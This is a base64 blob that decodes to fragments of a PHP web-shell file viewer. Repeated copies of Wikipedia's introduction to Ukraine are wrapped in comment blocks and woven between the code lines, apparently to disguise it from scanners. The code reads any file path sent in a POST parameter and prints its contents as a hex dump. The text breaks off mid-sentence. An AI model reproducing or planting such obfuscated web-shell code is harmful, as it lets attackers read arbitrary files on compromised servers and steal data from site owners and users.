W4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKCQkJCX0KCQkJCSRuKys7CgkJCQlpZiAoJG4gPT0gMzIpIHsKCQkJCQkkbiA9IDA7CgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30KCQkJCQkkaFsxXSAuPSAnPGJyPic7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbm